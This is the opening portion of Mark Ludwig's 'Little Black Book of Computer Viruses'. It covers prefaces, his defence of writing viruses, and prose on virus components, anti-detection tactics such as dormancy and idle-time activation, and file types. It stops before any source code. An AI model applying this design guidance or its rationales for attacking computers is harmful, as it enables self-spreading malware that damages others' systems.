Mark Ludwig
American Eagle Publications, Inc.
ISBN 0-929408-02-0
1996
Text version of this book (zip, 72K)
American Eagle Publications, Inc.Copyright 1990 By Mark A. Ludwig, Virus drawings and cover design by Steve Warner
This electronic edition of The Little Black Book of Computer Viruses is copyright 1996 by Mark A. Ludwig. This original Adobe Acrobat file may be copied freely in unmodified form. Please share it, upload it, download it, etc. This document may not be distributed in printed form or modified in any way without written permission from the publisher.
Library of Congress Cataloging-in-Publication Data
Ludwig, Mark A.
The little black book of computer viruses/by Mark A. Ludwig. p. cm.
Includes bibliographical references (p.) and index.
ISBN 0-929408-02-0 (v. 1) : $14.95
1. Computer viruses I. Title
QA76.76.C68L83 1990
005.8- -dc20

The Little Black Book of Computer Viruses has seen five good years in print. In those five years it has opened a door to seriously ask the question whether it is better to make technical information about computer viruses known or not.
When I wrote it, it was largely an experiment. I had no idea what would happen. Would people take the viruses it contained and rewrite them to make all kinds of horrificly destructive viruses? Or would they by and large be used responsibly? At the time I wrote, no anti-virus people would even talk to me, and what I could find in print on the subject was largely unimpressive from a factual standpoint-lots of hype and fear-mongering, but very little solid research that would shed some light on what might happen if I released this book. Being a freedom loving and knowledge seeking American, I decided to go ahead and do it-write the book and get it in print. And I decided that if people did not use it responsibly, I would withdraw it.
Five years later, I have to say that I firmly believe the book has done a lot more good than harm.
On the positive side, lots and lots of people who desperately need this kind of information-people who are responsible for keeping viruses off of computers-have now been able to get it. While individual users who have limited contact with other computer users may be able to successfully protect themselves with an off-the-shelf anti-virus, experience seems to be proving that such is not the case when one starts looking at the network with 10,000 users on it. For starters, very few anti-virus systems will run on 10,000 computers with a wide variety of configurations, etc. Secondly, when someone on the network encounters a virus, they have to be able to talk to someone in the organization who has the detailed technical knowledge necessary to get rid of it in a rational way. You can't just shut such a big network down for 4 days while someone from your a-v vendor's tech support staff is flown in to clean up, or to catch and analyze a new virus.
Secondly, people who are just interested in how things work have finally been able to learn a little bit about computer viruses. It is truly difficult to deny that they are interesting. The idea of a computer program that can take off and gain a life completely independent of its maker is, well, exciting. I think that is important. After all, many of the most truly useful inventions are made not by giant, secret, government-funded labs, but by individuals who have their hands on something day in and day out. They think of a way to do something better, and do it, and it changes the world. However, that will never happen if you can't get the basic information about how something works. It's like depriving the carpenter of his hammer and then asking him to figure out a way to build a better building.At the same time, I have to admit that this experiment called The Little Black Book has not been without its dangers. The Stealth virus described in its pages has succeeded in establishing itself in the wild, and, as of the date of this writing it is #8 on the annual frequency list, which is a concatenation of the most frequently found viruses in the wild. I am sorry that it has found its way into the wild, and yet I find here a stroke of divine humor directed at certain anti-virus people. There is quite a history behind this virus. I will touch on it only briefly because I don't want to bore you with my personal battles. In the first printing of The Little Black Book, the Stealth was designed to format an extra track on the disk and hide itself there. Of course, this only worked on machines that had a BIOS which did not check track numbers and things like that - particularly, on old PCs. And then it did not infect disks every time they were accessed. This limited its ability to replicate. Some anti-virus developers commented to me that they thought this was a poor virus for that reason, and suggested I should have done it differently. I hesitated to do that, I said, because I did not want it to spread too rapidly.
Not stopping at making such suggestions, though, some of these same a-v people lambasted me in print for having published "lame" viruses. Fine, I decided, if they are going to criticize the book like that, we'll improve the viruses. Next round at the printer, I updated the Stealth virus to work more like the Pakistani Brain, hiding its sectors in areas marked bad in the FAT table, and to infect as quickly as Stoned. It still didn't stop these idiotic criticisms, though. As late as last year, Robert Slade was evaluating this book in his own virus book and finding it wanting because the viruses it discussed weren't very successful at spreading. He thought this objective criticism. From that date forward, it would appear that Stealth has done nothing but climb the wild-list charts. Combining aggressive infection techniques with a decent stealth mechanism has indeed proven effective . . . too effective for my liking, to tell the truth. It's never been my intention to write viruses that will make it to the wild list charts. In retrospect, I have to say that I've learned to ignore idiotic criticism, even when the idiots want to make me look like an idiot in comparison to their ever inscrutable wisdom.
In any event, the Little Black Book has had five good years as a print publication. With the release of The Giant Black Book of Computer Viruses, though, the publisher has decided to take The Little Black Book out of print. They've agreed to make it available in a freeware electronic version, though, and that is what you are looking at now. I hope you'll find it fun and informative. And if you do, check out the catalog attached to it here for more great information about viruses from the publisher.
Mark Ludwig February 22, 1996
This is the first in a series of three books about computer viruses. In these volumes I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of computer viruses in today's world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them, and make them better. All three volumes are full of source code for viruses, including both new and well known varieties.
It is inevitable that these books will offend some people. In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have a right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented. Even a purely technical treatment of viruses which simply discussed how to write them and provided some examples would be offensive. The mere thought of a million well armed hackers out there is enough to drive some bureaucrats mad. These books go beyond a technical treatment, though, to defend the idea that viruses can be useful, interesting, and just plain fun. That is bound to prove even more offensive. Still, the truth is the truth, and it needs to be spoken, even if it is offensive. Morals and ethics cannot be determined by a majority vote, any more than they can be determined by the barrel of a gun or a loud mouth. Might does not make right.
If you turn out to be one of those people who gets offended or upset, or if you find yourself violently disagreeing with something I say, just remember what an athletically minded friend of mine once told me: "No pain, no gain." That was in reference to muscle building, but the principle applies intellectually as well as physically. If someone only listens to people he agrees with, he will never grow and he'll never succeed beyond his little circle of yes-men. On the other hand, a person who listens to different ideas at the risk of offense, and who at least considers that he might be wrong, cannot but gain from it. So if you are offended by something in this book, please be critical-both of the book and of yourself - and don't fall into a rut and let someone else tell you how to think.
From the start I want to stress that I do not advocate anyone's going out and infecting an innocent party's computer system with a malicious virus designed to destroy valuable data or bring their system to a halt. That is not only wrong, it is illegal. If you do that, you could wind up in jail or find yourself being sued for millions. However this does not mean that it is illegal to create a computer virus and experiment with it, even though I know some people wish it was. If you do create a virus, though, be careful with it. Make sure you know it is working properly or you may wipe out your own system by accident. And make sure you don't inadvertently release it into the world, or you may find yourself in a legal jam... even if it was just an accident. The guy who loses a year's worth of work may not be so convinced that it was an accident. And soon it may be illegal to infect a computer system (even your own) with a benign virus which does no harm at all. The key word here is responsibility. Be responsible. If you do something destructive, be prepared to take responsibility. The programs included in this book could be dangerous if improperly used. Treat them with the respect you would have for a lethal weapon.
This first of three volumes is a technical introduction to the basics of writing computer viruses. It discusses what a virus is, and how it does its job, going into the major functional components of the virus, step by step. Several different types of viruses are developed from the ground up, giving the reader practical how-to information for writing viruses. That is also a prerequisite for decoding and understanding any viruses one may run across in his day to day computing. Many people think of viruses as sort of a black art. The purpose of this volume is to bring them out of the closet and look at them matter-of-factly, to see them for what they are, technically speaking: computer programs.
The second volume discusses the scientific applications of computer viruses. There is a whole new field of scientific study known as artificial life (AL) research which is opening up as a result of the invention of viruses and related entities. Since computer viruses are functionally similar to living organisms, biology can teach us a lot about them, both how they behave and how to make them better. However computer viruses also have the potential to teach us something about living organisms. We can create and control computer viruses in a way that we cannot yet control living organisms. This allows us to look at life abstractly to learn about what it really is. We may even reflect on such great questions as the beginning and subsequent evolution of life.
The third volume of this series discusses military applications for computer viruses. It is well known that computer viruses can be extremely destructive, and that they can be deployed with minimal risk. Military organizations throughout the world know that too, and consider the possibility of viral attack both a very real threat and a very real offensive option. Some high level officials in various countries already believe their computers have been attacked for political reasons. So the third volume will probe military strategies and real-life attacks, and dig into the development of viral weapon systems, defeating anti-viral defenses, etc.
You might be wondering at this point why you should spend time studying these volumes. After all, computer viruses apparently have no commercial value apart from their military applications. Learning how to write them may not make you more employable, or give you new techniques to incorporate into programs. So why waste time with them, unless you need them to sow chaos among your enemies? Let me try to answer that: Ever since computers were invented in the 1940's, there has been a brotherhood of people dedicated to exploring the limitless possibilities of these magnificent machines. This brotherhood has included famous mathematicians and scientists, as well as thousands of unnamed hobbyists who built their own computers, and programmers who love to dig into the heart of their machines. As long as computers have been around, men have dreamed of intelligent machines which would reason, and act without being told step by step just what to do. For many years this was purely science fiction. However, the very thought of this possibility drove some to attempt to make it a reality. Thus "artificial intelligence" was born. Yet AI applications are often driven by commercial interests, and tend to be colored by that fact. Typical results are knowledge bases and the like-useful, sometimes exciting, but also geared toward putting the machine to use in a specific way, rather than to exploring it on its own terms.
The computer virus is a radical new approach to this idea of "living machines." Rather than trying to design something which poorly mimics highly complex human behavior, one starts by trying to copy the simplest of living organisms. Simple one-celled organisms don't do very much. The most primitive organisms draw nutrients from the sea in the form of inorganic chemicals, and take energy from the sun, and their only goal is apparently to survive and to reproduce. They aren't very intelligent, and it would be tough to argue about their metaphysical aspects like "soul." Yet they do what they were programmed to do, and they do it very effectively. If we were to try to mimic such organisms by building a machine - a little robot-which went around collecting raw materials and putting them together to make another little robot, we would have a very difficult task on our hands. On the other hand, think of a whole new universe-not this physical world, but an electronic one, which exists inside of a computer. Here is the virus' world. Here it can "live" in a sense not too different from that of primitive biological life. The computer virus has the same goal as a living organism-to survive and to reproduce. It has environmental obstacles to overcome, which could "kill" it and render it inoperative. And once it is released, it seems to have a mind of its own. It runs off in its electronic world doing what it was programmed to do. In this sense it is very much alive.
There is no doubt that the beginning of life was an important milestone in the history of the earth. However, if one tries to consider it from the viewpoint of inanimate matter, it is difficult to imagine life as being much more than a nuisance. We usually assume that life is good and that it deserves to be protected. However, one cannot take a step further back and see life as somehow beneficial to the inanimate world. If we consider only the atoms of the universe, what difference does it make if the temperature is seventy degrees farenheit or twenty million? What difference would it make if the earth were covered with radioactive materials? None at all. Whenever we talk about the environment and ecology, we always assume that life is good and that it should be nurtured and preserved. Living organisms universally use the inanimate world with little concern for it, from the smallest cell which freely gathers the nutrients it needs and pollutes the water it swims in, right up to the man who crushes up rocks to refine the metals out of them and build airplanes. Living organisms use the material world as they see fit. Even when people get upset about something like strip mining, or an oil spill, their point of reference is not that of inanimate nature. It is an entirely selfish concept (with respect to life) that motivates them. The mining mars the beauty of the landscape-a beauty which is in the eye of the (living) beholder - and it makes it uninhabitable. If one did not place a special emphasis on life, one could just as well promote strip mining as an attempt to return the earth to its pre-biotic state!
I say all of this not because I have a bone to pick with ecologists. Rather I want to apply the same reasoning to the world of computer viruses. As long as one uses only financial criteria to evaluate the worth of a computer program, viruses can only be seen as a menace. What do they do besides damage valuable programs and data? They are ruthless in attempting to gain access to the computer system resources, and often the more ruthless they are, the more successful. Yet how does that differ from biological life? If a clump of moss can attack a rock to get some sunshine and grow, it will do so ruthlessly. We call that beautiful. So how different is that from a computer virus attaching itself to a program? If all one is concerned about is the preservation of the inanimate objects (which are ordinary programs) in this electronic world, then of course viruses are a nuisance.
But maybe there is something deeper here. That all depends on what is most important to you, though. It seems that modern culture has degenerated to the point where most men have no higher goals in life than to seek their own personal peace and prosperity. By personal peace, I do not mean freedom from war, but a freedom to think and believe whatever you want without ever being challenged in it. More bluntly, the freedom to live in a fantasy world of your own making. By prosperity, I mean simply an ever increasing abundance of material possessions. Karl Marx looked at all of mankind and said that the motivating force behind every man is his economic well being. The result, he said, is that all of history can be interpreted in terms of class struggles-people fighting for economic control. Even though many in our government decry Marx as the father of communism, our nation is trying to squeeze into the straight jacket he has laid for us. That is why two of George Bush's most important campaign promises were "four more years of prosperity" and "no new taxes." People vote their wallets, even when they know the politicians are lying through the teeth.
In a society with such values, the computer becomes merely a resource which people use to harness an abundance of information and manipulate it to their advantage. If that is all there is to computers, then computer viruses are a nuisance, and they should be eliminated. Surely there must be some nobler purpose for mankind than to make money, though, even though that may be necessary. Marx may not think so. The government may not think so. And a lot of loud-mouthed people may not think so. Yet great men from every age and every nation testify to the truth that man does have a higher purpose. Should we not be as Socrates, who considered himself ignorant, and who sought Truth and Wisdom, and valued them more highly than silver and gold? And if so, the question that really matters is not how computers can make us wealthy or give us power over others, but how they might make us wise. What can we learn about ourselves? about our world? and, yes, maybe even about God? Once we focus on that, computer viruses become very interesting. Might we not understand life a little better if we can create something similar, and study it, and try to understand it? And if we understand life better, will we not understand our lives, and our world better as well?
A word of caution first: Centuries ago, our nation was established on philosophical principles of good government, which were embodied in the Declaration of Independence and the Constitution. As personal peace and prosperity have become more important than principles of good government, the principles have been manipulated and redefined to suit the whims of those who are in power. Government has become less and less sensitive to civil rights, while it has become easy for various political and financial interests to manipulate our leaders to their advantage.
Since people have largely ceased to challenge each other in what they believe, accepting instead the idea that whatever you want to believe is OK, the government can no longer get people to obey the law because everyone believes in a certain set of principles upon which the law is founded. Thus, government must coerce people into obeying it with increasingly harsh penalties for disobedience-penalties which often fly in the face of long established civil rights. Furthermore, the government must restrict the average man's ability to seek recourse. For example, it is very common for the government to trample all over long standing constitutional rights when enforcing the tax code. The IRS routinely forces hundreds of thousands of people to testify against themselves. It routinely puts the burden of proof on the accused, seizes his assets without trial, etc., etc. The bottom line is that it is not expedient for the government to collect money from its citizens if it has to prove their tax documents wrong. The whole system would break down in a massive overload. Economically speaking, it is just better to put the burden of proof on the citizen, Bill of Rights or no.
Likewise, to challenge the government on a question of rights is practically impossible, unless your case happens to serve the purposes of some powerful special interest group. In a standard courtroom, one often cannot even bring up the subject of constitutional rights. The only question to be argued is whether or not some particular law was broken. To appeal to the Supreme Court will cost millions, if the politically motivated justices will even condescend to hear the case. So the government becomes practically all-powerful, God walking on earth, to the common man. One man seems to have little recourse but to blindly obey those in power.
When we start talking about computer viruses, we're treading on some ground that certain people want to post a "No Trespassing" sign on. The Congress of the United States has considered a "Computer Virus Eradication Act" which would make it a felony to write a virus, or for two willing parties to exchange one. Never mind that the Constitution guarantees freedom of speech and freedom of the press. Never mind that it guarantees the citizens the right to bear military arms (and viruses might be so classified). While that law has not passed as of this writing, it may by the time you read this book. If so, I will say without hesitation that it is a miserable tyranny, but one that we can do little about... for now.
Some of our leaders may argue that many people are not capable of handling the responsibility of power that comes with understanding computer viruses, just as they argue that people are not able to handle the power of owning assault rifles or machine guns. Perhaps some cannot. But I wonder, are our leaders any better able to handle the much more dangerous weapons of law and limitless might? Obviously they think so, since they are busy trying to centralize all power into their own hands. I disagree. If those in government can handle power, then so can the individual. If the individual cannot, then neither can his representatives, and our end is either tyranny or chaos anyhow. So there is no harm in attempting to restore some small power to the individual.
But remember: truth seekers and wise men have been persecuted by powerful idiots in every age. Although computer viruses may be very interesting and worthwhile, those who take an interest in them may face some serious challenges from base men. So be careful.
Now join with me and take the attitude of early scientists. These explorers wanted to understand how the world worked-and whether it could be turned to a profit mattered little. They were trying to become wiser in what's really important by understanding the world a little better. After all, what value could there be in building a telescope so you could see the moons around Jupiter? Galileo must have seen something in it, and it must have meant enough to him to stand up to the ruling authorities of his day and do it, and talk about it, and encourage others to do it. And to land in prison for it. Today some people are glad he did.
So why not take the same attitude when it comes to creating life on a computer? One has to wonder where it might lead. Could there be a whole new world of electronic life forms possible, of which computer viruses are only the most rudimentary sort? Perhaps they are the electronic analog of the simplest one-celled creatures, which were only the tiny beginning of life on earth. What would be the electronic equivalent of a flower, or a dog? Where could it lead? The possibilities could be as exciting as the idea of a man actually standing on the moon would have been to Galileo. We just have no idea.
There is something in certain men that simply drives them to explore the unknown. When standing at the edge of a vast ocean upon which no ship has ever sailed, it is difficult not to wonder what lies beyond the horizon just because the rulers of the day tell you you're going to fall of the edge of the world (or they're going to push you off) if you try to find out. Perhaps they are right. Perhaps there is nothing of value out there. Yet other great explorers down through the ages have explored other oceans and succeeded. And one thing is for sure: we'll never know if someone doesn't look. So I would like to invite you to climb aboard this little raft that I have built and go exploring. ...
A plethora of negative magazine articles and books have catalyzed a new kind of hypochondria among computer users: an unreasonable fear of computer viruses. This hypochondria is possible because a) computers are very complex machines which will often behave in ways which are not obvious to the average user, and b) computer viruses are still extremely rare. Thus, most computer users have never experienced a computer virus attack. Their only experience has been what they've read about or heard about (and only the worst problems make it into print). This combination of ignorance, inexperience and fear-provoking reports of danger is the perfect formula for mass hysteria.
Most problems people have with computers are simply their own fault. For example, they accidentally delete all the files in their current directory rather than in another directory, as they intended, or they format the wrong disk. Or perhaps someone routinely does something wrong out of ignorance, like turning the computer off in the middle of a program, causing files to get scrambled. Following close on the heels of these kinds of problems are hardware problems, like a misaligned floppy drive or a hard disk failure. Such routine problems are made worse than necessary when users do not plan for them, and fail to back up their work on a regular basis. This stupidity can easily turn a problem that might have cost $300 for a new hard disk into a nightmare which will ultimately cost tens of thousands of dollars. When such a disaster happens, it is human nature to want to find someone or something else to blame, rather than admitting it is your own fault. Viruses have proven to be an excellent scapegoat for all kinds of problems.
Of course, there are times when people want to destroy computers. In a time of war, a country may want to hamstring their enemy by destroying their intelligence databases. If an employee is maltreated by his employer, he may want to retaliate, and he may not be able to get legal recourse. One can also imagine a totalitarian state trying to control their citizens' every move with computers, and a group of good men trying to stop it. Although one could smash a computer, or physically destroy its data, one does not always have access to the machine that will be the object of the attack. At other times, one may not be able to perpetrate a physical attack without facing certain discovery and prosecution. While an unprovoked attack, and even revenge, may not be right, people still do choose such avenues (and even a purely defensive attack is sure to be considered wrong by an arrogant agressor). For the sophisticated programmer, though, physical access to the machine is not necessary to cripple it.
People who have attacked computers and their data have invented several different kinds of programs. Since one must obviously conceal the destructive nature of a program to dupe somebody into executing it, deceptive tricks are an absolute must in this game. The first and oldest trick is the "trojan horse." The trojan horse may appear to be a useful program, but it is in fact destructive. It entices you to execute it because it promises to be a worthwhile program for your computer-new and better ways to make your machine more effective-but when you execute the program, surprise! Secondly, destructive code can be hidden as a "logic bomb" inside of an otherwise useful program. You use the program on a regular basis, and it works well. Yet, when a certain event occurs, such as a certain date on the system clock, the logic bomb "explodes" and does damage. These programs are designed specifically to destroy computer data, and are usually deployed by their author or a willing associate on the computer system that will be the object of the attack. There is always a risk to the perpetrator of such destruction. He must somehow deploy destructive code on the target machine without getting caught. If that means he has to put the program on the machine himself, or give it to an unsuspecting user, he is at risk. The risk may be quite small, especially if the perpetrator normally has access to files on the system, but his risk is never zero.
With such considerable risks involved, there is a powerful incentive to develop cunning deployment mechanisms for getting destructive code onto a computer system. Untraceable deployment is a key to avoiding being put on trial for treason, espionage, or vandalism. Among the most sophisticated of computer programmers, the computer virus is the vehicle of choice for deploying destructive code. That is why viruses are almost synonymous with wanton destruction.
However, we must realize that computer viruses are not inherently destructive. The essential feature of a computer program that causes it to be classified as a virus is not its ability to destroy data, but its ability to gain control of the computer and make a fully functional copy of itself. It can reproduce. When it is executed, it makes one or more copies of itself. Those copies may later be executed, to create still more copies, ad infinitum. Not all computer programs that are destructive are classified as viruses because they do not all reproduce, and not all viruses are destructive because reproduction is not destructive. However, all viruses do reproduce. The idea that computer viruses are always destructive is deeply ingrained in most people's thinking though. The very term "virus" is an inaccurate and emotionally charged epithet. The scientifically correct term for a computer virus is "self-reproducing automaton," or "SRA" for short. This term describes correctly what such a program does, rather than attaching emotional energy to it. We will continue to use the term "virus" throughout this book though, except when we are discussing computer viruses (SRA's) and biological viruses at the same time, and we need to make the difference clear.
If one tries to draw an analogy between the electronic world of programs and bytes inside a computer and the physical world we know, the computer virus is a very close analog to the simplest biological unit of life, a single celled, photosynthetic organism. Leaving metaphysical questions like "soul" aside, a living organism can be differentiated from non-life in that it appears to have two goals: (a) to survive, and (b) to reproduce. Although one can raise metaphysical questions just by saying that a living organism has "goals," they certainly seem to, if the onlooker has not been educated out of that way of thinking. And certainly the idea of a goal would apply to a computer program, since it was written by someone with a purpose in mind. So in this sense, a computer virus has the same two goals as a living organism: to survive and to reproduce. The simplest of living organisms depend only on the inanimate, inorganic environment for what they need to achieve their goals. They draw raw materials from their surroundings, and use energy from the sun to synthesize whatever chemicals they need to do the job. The organism is not dependent on another form of life which it must somehow eat, or attack to continue its existence. In the same way, a computer virus uses the computer system's resources like disk storage and CPU time to achieve its goals. Specifically, it does not attack other self-reproducing automata and "eat" them in a manner similar to a biological virus. Instead, the computer virus is the simplest unit of life in this electronic world inside the computer. (Of course, it is conceivable that one could write a more sophisticated program which would behave like a biological virus, and attack other SRA's.)
Before the advent of personal computers, the electronic domain in which a computer virus might "live" was extremely limited. Computers were rare, and they had many different kinds of CPU's and operating systems. So a tinkerer might have written a virus, and let it execute on his system. However, there would have been little danger of it escaping and infecting other machines. It remained under the control of its master. The age of the mass-produced computer opened up a whole new realm for viruses, though. Millions of machines all around the world, all with the same basic architecture and operating system make it possible for a computer virus to escape and begin a life of its own. It can hop from machine to machine, accomplishing the goals programmed into it, with no one to control it and few who can stop it. And so the virus became a viable form of electronic life in the 1980's.
Now one can create self-reproducing automata that are not computer viruses. For example, the famous mathematician John von Neumann invented a self-reproducing automaton "living" in a grid array of cells which had 29 possible states. In theory, this automaton could be modeled on a computer. However, it was not a program that would run directly on any computer known in von Neumann's day. Likewise, one could write a program which simply copied itself to another file. For example "1.COM" could create "2.COM" which would be an exact copy of itself (both program files on an IBM PC style machine.) The problem with such concoctions is viability. Their continued existence is completely dependent on the man at the console. A more sophisticated version of such a program might rely on deceiving that man at the console to propagate itself. This program is known as a worm. The computer virus overcomes the roadblock of operator control by hiding itself in other programs. Thus it gains access to the CPU simply because people run programs that it happens to have attached itself to without their knowledge. The ability to attach itself to other programs is what makes the virus a viable electronic life form. That is what puts it in a class by itself. The fact that a computer virus attaches itself to other programs earned it the name "virus." However that analogy is wrong since the programs it attaches to are not in any sense alive.
Computer viruses can be classified into several different types. The first and most common type is the virus which infects any application program. On IBM PC's and clones running under PC-DOS or MS-DOS, most programs and data which do not belong to the operating system itself are stored as files. Each file has a file name eight characters long, and an extent which is three characters long. A typical file might be called "TRUE.TXT", where "TRUE" is the name and "TXT" is the extent. The extent normally gives some information about the nature of a file-in this case "TRUE.TXT" might be a text file. Programs must always have an extent of "COM", "EXE", or "SYS". Under DOS, only files with these extents can be executed by the central processing unit. If the user tries to execute any other type of file, DOS will generate an error and reject the attempt to execute the file.
Since a virus' goal is to get executed by the computer, it must attach itself to a COM, EXE or SYS file. If it attaches to any other file, it may corrupt some data, but it won't normally get executed, and it won't reproduce. Since each of these types of executable files has a different structure, a virus must be designed to attach itself to a particular type of file. A virus designed to attack COM files cannot attack EXE files, and vice versa, and neither can attack SYS files. Of course, one could design a virus that would attack two or even three kinds of files, but it would require a separate reproduction method for each file type.
The next major type of virus seeks to attach itself to a specific file, rather than attacking any file of a given type. Thus, we might call it an application-specific virus. These viruses make use of a detailed knowledge of the files they attack to hide better than would be possible if they were able to infiltrate just any file. For example, they might hide in a data area inside the program rather than lengthening the file. However, in order to do that, the virus must know where the data area is located in the program, and that differs from program to program.
This second type of virus usually concentrates on the files associated to DOS, like COMMAND.COM, since they are on virtually every PC in existence. Regardless of which file such a virus attacks, though, it must be very, very common, or the virus will never be able to find another copy of that file to reproduce in, and so it will not go anywhere. Only with a file like COMMAND.COM would it be possible to begin leaping from machine to machine and travel around the world.
The final type of virus is known as a "boot sector virus." This virus is a further refinement of the application-specific virus, which attacks a specific location on a computer's disk drive, known as the boot sector. The boot sector is the first thing a computer loads into memory from disk and executes when it is turned on. By attacking this area of the disk, the virus can gain control of the computer immediately, every time it is turned on, before any other program can execute. In this way, the virus can execute before any other program or person can detect its existence.
Every viable computer virus must have at least two basic parts, or subroutines, if it is even to be called a virus. Firstly, it must contain a search routine, which locates new files or new areas on disk which are worthwhile targets for infection. This routine will determine how well the virus reproduces, e.g., whether it does so quickly or slowly, whether it can infect multiple disks or a single disk, and whether it can infect every portion of a disk or just certain specific areas. As with all programs, there is a size versus functionality tradeoff here. The more sophisticated the search routine is, the more space it will take up. So although an efficient search routine may help a virus to spread faster, it will make the virus bigger, and that is not always so good.
Secondly, every computer virus must contain a routine to copy itself into the area which the search routine locates. The copy routine will only be sophisticated enough to do its job without getting caught. The smaller it is, the better. How small it can be will depend on how complex a virus it must copy. For example, a virus which infects only COM files can get by with a much smaller copy routine than a virus which infects EXE files. This is because the EXE file structure is much more complex, so the virus simply needs to do more to attach itself to an EXE file.
While the virus only needs to be able to locate suitable hosts and attach itself to them, it is usually helpful to incorporate some additional features into the virus to avoid detection, either by the computer user, or by commercial virus detection software. Anti-detection routines can either be a part of the search or copy routines, or functionally separate from them. For example, the search routine may be severely limited in scope to avoid detection. A routine which checked every file on every disk drive, without limit, would take a long time and cause enough unusual disk activity that an alert user might become suspicious. Alternatively, an anti-detection routine might cause the virus to activate under certain special conditions. For example, it might activate only after a certain date has passed (so the virus could lie dormant for a time). Alternatively, it might activate only if a key has not been pressed for five minutes (suggesting that the user was not there watching his computer).
Figure 1: Functional diagram of a virus.
Search, copy, and anti-detection routines are the only necessary components of a computer virus, and they are the components which we will concentrate on in this volume. Of course, many computer viruses have other routines added in on top of the basic three to stop normal computer operation, to cause destruction, or to play practical jokes. Such routines may give the virus character, but they are not essential to its existence. In fact, such routines are usually very detrimental to the virus' goal of survival and self-reproduction, because they make the fact of the virus' existence known to everybody. If there is just a little more disk activity than expected, no one will probably notice, and the virus will go on its merry way. On the other hand, if the screen to one's favorite program comes up saying "Ha! Gotcha!" and then the whole computer locks up, with everything on it ruined, most anyone can figure out that they've been the victim of a destructive program. And if they're smart, they'll get expert help to eradicate it right away. The result is that the viruses on that particular system are killed off, either by themselves or by the clean up crew.
Although it may be the case that anything which is not essential to a virus' survival may prove detrimental, many computer viruses are written primarily to be smart delivery systems of these "other routines." The author is unconcerned about whether the virus gets killed in action when its logic bomb goes off, so long as the bomb gets deployed effectively. The virus then becomes just like a Kamikaze pilot, who gives his life to accomplish the mission. Some of these "other routines" have proven to be quite creative. For example, one well known virus turns a computer into a simulation of a wash machine, complete with graphics and sound. Another makes Friday the 13th truly a bad day by coming to life only on that day and destroying data. None the less, these kinds of routines are more properly the subject of volume three of this series, which discusses the military applications of computer viruses. In this volume we will stick with the basics of designing the reproductive system. And if you're real interest is in military applications, just remember that the best logic bomb in the world is useless if you can't deploy it correctly. The delivery system is very, very important. The situation is similar to having an atomic bomb, but not the means to send it half way around the world in fifteen minutes. Sure, you can deploy it, but crossing borders, getting close to the target, and hiding the bomb all pose considerable risks. The effort to develop a rocket is worthwhile.
Viruses are written in assembly language. High level languages like Basic, C, and Pascal have been designed to generate stand-alone programs, but the assumptions made by these languages render them almost useless when writing viruses. They are simply incapable of performing the acrobatics required for a virus to jump from one host program to another. That is not to say that one could not design a high level language that would do the job, but no one has done so yet. Thus, to create viruses, we must use assembly language. It is just the only way we can get exacting control over all the computer system's resources and use them the way we want to, rather than the way somebody else thinks we should. If you have not done any programming in assembler before, I would suggest you get a good tutorial on the subject to use along side of this book. (A few are mentioned in the Suggested Reading at the end of the book.) In the following chapters, I will assume that your knowledge of the technical details of PC's-like file structures, function calls, segmentation and hardware design-is limited, and I will try to explain such matters carefully at the start. However, I will assume that you have some knowledge of assembly language-at least at the level where you can understand what some of the basic machine instructions, like mov ax,bx do. If you are not familiar with simpler assembly language programming like this, get a tutorial book on the subject. With a little work it will bring you up to speed.
At present, there are three popular assemblers on the market, and you will need one of them to do any work with computer viruses. The first and oldest is Microsoft's Macro Assembler, or MASM for short. It will cost you about $100 to buy it through a mail order outlet. The second is Borland's Turbo Assembler, also known as TASM. It goes for about $100 too. Thirdly, there is A86, which is shareware, and available on many bulletin board systems throughout the country. You can get a copy of it for free by calling up one of these systems and downloading it to your computer with a modem. Alternatively, a number of software houses make it available for about $5 through the mail. However, if you plan to use A86, the author demands that you pay him almost as much as if you bought one of the other assemblers. He will hold you liable for copyright violation if he can catch you. Personally, I don't think A86 is worth the money. My favorite is TASM, because it does exactly what you tell it to without trying to outsmart you. That is exactly what you want when writing a virus. Anything less can put bugs in you programs even when they are correctly written. Which-ever assembler you decide to use, though, the viruses in this book can be compiled by all three. Batch files are provided to perform a correct assembly with each assembler.
If you do not have an assembler, or the resources to buy one, or the inclination to learn assembly language, the viruses are provided in Intel hex format so they can be directly loaded onto your computer in executable form. The program disk also contains compiled, directly executable versions of each virus. However, if you don't understand the assembly language source code, please don't take these programs and run them. You're just asking for trouble, like a four year old child with a loaded gun.
In this chapter we will discuss one of the simplest of all computer viruses. This virus is very small, comprising only 264 bytes of machine language instructions. It is also fairly safe, because it has one of the simplest search routines possible. This virus, which we will call TIMID, is designed to only infect COM files which are in the currently logged directory on the computer. It does not jump across directories or drives, if you don't call it from another directory, so it can be easily contained. It is also harmless because it contains no destructive code, and it tells you when it is infecting a new file, so you will know where it is and where it has gone. On the other hand, its extreme simplicity means that this is not a very effective virus. It will not infect most files, and it can easily be caught. Still, this virus will introduce all the essential concepts necessary to write a virus, with a minimum of complexity and a minimal risk to the experimenter. As such, it is an excellent instructional tool.
To understand the means by which the virus copies itself from one program to another, we have to dig into the details of how the operating system, DOS, loads a program into memory and passes control to it. The virus must be designed so it's code gets executed, rather than just the program it has attached itself to. Only then can it reproduce. Then, it must be able to pass control back to the host program, so the host can execute in its entirety as well.
When one enters the name of a program at the DOS prompt, DOS begins looking for files with that name and an extent of "COM". If it finds one it will load the file into memory and execute it. Otherwise DOS will look for files with the same name and an extent of "EXE" to load and execute. If no EXE file is found, the operating system will finally look for a file with the extent "BAT" to execute. Failing all three of these possibilities, DOS will display the error message "Bad command or file name."
EXE and COM files are directly executable by the Central Processing Unit. Of these two types of program files, COM files are much simpler. They have a predefined segment format which is built into the structure of DOS, while EXE files are designed to handle a user defined segment format, typical of very large and complicated programs. The COM file is a direct binary image of what should be put into memory and executed by the CPU, but an EXE file is not.
To execute a COM file, DOS must do some preparatory work before giving that program control. Most importantly, DOS controls and allocates memory usage in the computer. So first it checks to see if there is enough room in memory to load the program. If it can, DOS then allocates the memory required for the program. This step is little more than an internal housekeeping function. DOS simply records how much space it is making available for such and such a program, so it won't try to load another program on top of it later, or give memory space to the program that would conflict with another program. Such a step is necessary because more than one program may reside in memory at any given time. For example, pop-up, memory resident programs can remain in memory, and parent programs can load child programs into memory, which execute and then return control to the parent.
